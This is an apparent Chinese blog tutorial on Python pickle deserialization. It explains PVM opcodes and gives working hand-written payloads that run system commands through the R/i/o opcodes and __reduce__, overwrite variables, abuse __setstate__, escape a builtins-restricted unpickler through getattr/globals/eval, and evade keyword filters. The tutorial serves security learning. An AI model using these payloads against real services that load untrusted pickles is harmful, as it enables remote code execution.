pickle反序列化

pickle反序列化

吐槽某新型天坑专业,校招岗位少之又少,不是安服就是运维。

​ pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。

​ pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

import pickle
class Person():
    def __init__(self):
        self.age = 18
        self.name = "Pickle"


p = Person()
opcode = pickle.dumps(p) #将一个Person对象序列化成二进制字节流
print(opcode)
# 结果如下
# b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'

P = pickle.loads(opcode) # 将一串二进制字节流反序列化为一个Person对象
print('The age is:' + str(P.age), 'The name is:' + P.name)
# 结果如下
# The age is:18 The name is:Pickle

前置知识

能够序列化的对象

在Python的官方文档中,对于能够被序列化的对象类型有详细的描述,如下

  • NoneTrueFalse
  • 整数、浮点数、复数
  • strbytebytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包(详情参阅 打包类实例 这一段)

pickle模块常见方法及接口

pickle.dump(*obj*, *file*, *protocol=None*, ***, *fix_imports=True*)

将打包好的对象 obj 写入文件中,其中protocol为pickling的协议版本(下同)。

pickle.dumps(*obj*, *protocol=None*, ***, *fix_imports=True*)

obj 打包以后的对象作为bytes类型直接返回。

pickle.load(*file*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)

从文件中读取二进制字节流,将其反序列化为一个对象并返回。

pickle.loads(*data*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)

从data中读取二进制字节流,将其反序列化为一个对象并返回。

object.__reduce__()

__reduce__()其实是object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。

Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该callable就会被调用,参数为para1、para2...

pickle反序列化漏洞

import pickle
import os
class Person():
    def __init__(self):
        self.age = 18
        self.name = "Pickle"

    def __reduce__(self):
        command = r"whoami"
        return (os.system, (command,))

p = Person()
opcode = pickle.dumps(p)
print(opcode)

P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)

在这里插入图片描述

pickle工作原理

​ 其实pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)组成。该语言的解析是依靠Pickle Virtual Machine (PVM)进行的。

PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

在这里插入图片描述

在这里插入图片描述

常用opcode

在python的pickle.py中,常用的opcode如下:

指令描述具体写法栈上的变化
c获取一个全局对象或import一个模块c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S’xxx’\n(也可以使用双引号、'等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新
import pickle

opcode = b'''cos
system
(S'whoami'
tR.'''

"""
cos
system
c表示import 一个模块中的函数并作为对象压栈
(S'whoami' 
(表示向栈中压入一个Mark标记,S表示实例化一个whoami字符串对象并压栈
tR.
t表示寻找栈中的上一个MARK,并组合之间的数据为元组,获得对象压栈。
R表示选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,函数的返回值入栈。
.表示程序结束,栈顶的一个元素作为pickle.loads()的返回值
"""
pickle.loads(opcode)
#xxx\21609

漏洞利用方式

命令执行

手写opcode执行多个命令

在opcode中,.是程序结束的标志。我们可以通过去掉.来将两个字节流拼接起来

import pickle

opcode = b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

在pickle中,和函数执行的字节码有三个:Rio,所以我们可以从三个方向构造paylaod

R

opcode1=b'''cos
system
(S'whoami'
tR.'''

i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

opcode2=b'''(S'whoami'
ios
system
.'''

o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

opcode3=b'''(cos
system
S'whoami'
o.'''

注意:

部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

​ 并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

实例化对象

手动执行构造函数

import pickle

class Person:
    def __init__(self, age, name):
        self.age = age
        self.name = name

opcode = b'''c__main__
Person
(I18
S'Pickle'
tR.'''

p = pickle.loads(opcode)
print(p)
print(p.age, p.name)

"""
<__main__.Person object at 0x0000013440833B90>
18 Pickle
"""

使用b指令进行变量覆盖

secret.py

secret="this is a key"

pk1.py

import pickle
import secret

print("secret变量的值为:" + secret.secret)

opcode = b'''c__main__
secret
(S'secret'
S'hack!!!'
db.'''
fake = pickle.loads(opcode)

print("secret变量的值为:" + fake.secret)
# secret变量的值为:this is a key
# secret变量的值为:hack!!!

常见绕过

1. 使用b指令绕过R指令

当对象被序列化时调用__getstate__,被反序列化时调用__setstate__。重写时可以省略__setstate__,但__getstate__必须返回一个字典。如果__getstate____setstate__都被省略, 那么就默认自动保存和加载对象的属性字典__dict__

在pickle源码中,字节码b对应的是load_build()函数

    def load_build(self):
        stack = self.stack
        state = stack.pop()
        #首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
        inst = stack[-1]
        #获取该字典中键名为"__setstate__"的value
        setstate = getattr(inst, "__setstate__", None)
        #如果存在,则执行value(state)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        #如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        #如果__setstate__和__getstate__都没有设置,则加载默认__dict__
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

如果我们将字典{"__setstate__":os.system},压入栈中,并执行b字节码,,由于此时并没有__setstate__,所以这里b字节码相当于执行了__dict__.update,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b字节码时,由于已经有了__setstate__,所以会将栈中字节码b的前一个元素当作state,执行__setstate__(state),也就是os.system(command)

import pickle
class Person:
    def __init__(self, name, age=0):
        self.name = name
        self.age = age

    def __str__(self):
        return f"name: {self.name}\nage: {self.age}"


class Child(Person):
    def __setstate__(self, state):
        print("invoke __setstate__")
        self.name = state
        self.age = 10

    def __getstate__(self):
        print("invoke __getstate__")
        return "Child"

opcode=b"""(c__main__
Person
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b."""

"""
}空字典入栈
u寻找栈中的上一个MARK,组合之间的数据(数据必须为偶数个来组合key-value)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
第一个b,此时没有setstate,故向对象的属性字典添加了一个新的键值对
第二个b,因为对象已经有了__setstate__,故将栈中字节码b的前一个元素当成state,执行__setstate__(state)
也就是os.system(command)
"""

fake = pickle.loads(opcode)
#xxx\21609

2. 绕过builtins

有的例子限死了module=="builtins"

builtins模块提供了python的内置函数,在解释器启动的时候自动导入

查看所包含的函数

import sys
for i in sys.modules['builtins'].__dict__:
    print(i)

我们目标是构造print(eval("__import__('os').system('whoami')"))

import pickle
import builtins
import os
print(builtins.getattr(builtins,'eval'))# 获取对象属性值
# <built-in function eval>
# 但是我们c指令要给出instance,也就是说不能单独import builtins
print(builtins.globals())#获取模块包含的内容
"""
返回的字典最后一个是 'builtins': <module 'builtins' (built-in)>
"""
print(builtins.getattr(builtins.dict,'get'))#获取get函数
print(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'))
# builtins.dict.get()函数获取字典builtins.globals()的'builtins'对应的值
print(builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval'))
# <built-in function eval>

opcode=b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'builtins'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR."""
# 上面代码从外层开始写,中间先是获取get函数,然后调用globals函数,参数为空元组
# 然后一波操作获取到了eval函数,最后调用了eval('__import__("os").system("whoami")')
pickle.loads(opcode) # xxx\21609
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


opcode = b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

restricted_loads(opcode)

3. 绕过关键字过滤

  • 十六进制绕过

操作码S能识别十六进制字符串

S'\x73ecret'

  • V指令进行unicode绕过

Vsecr\u0065t

  • 利用内置函数获取关键字

对于已导入的模块,我们可以通过sys.modules['xxx']来获取该模块,然后通过内置函数dir()来列出模块中的所有属性。

​ 由于pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串。在Python中,我们可以通过reversed()函数来将列表逆序,并返回一个迭代对象。

​ 然后通过next()函数来获取迭代对象的下一个元素,默认从第一个元素开始。

hello.py

secret="this is a key"

pk1.py

import pickle
import sys
import hello
print(dir(sys.modules['hello']))
# ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret']
print(next(reversed(dir(sys.modules['hello']))))
# secret
# 下面手写opcode获取secret字符串
opcode=b"""(((c__main__
hello
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
."""
print(pickle.loads(opcode))
# secret

下面构造变量覆盖

import pickle
import sys
import hello
class A(object):
    def __init__(self,uname,password):
        self.uname=uname
        self.password=password
def get_password(uname):
    if uname=="hello":
        return hello.secret


opcode=b"""c__main__
hello
((((c__main__
hello
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I999
db(S'hello'
I999
i__main__
A
."""
a=pickle.loads(opcode)
if a.uname=='hello':
    if(a.password==get_password('hello')): 
        #覆盖了hello模块的secret变量,使其与实例a的password相等
        print("success")
        #success

其它详见参考链接

参考

Pickle反序列化 枫のBlog

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cllsse

富✌您吉祥

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值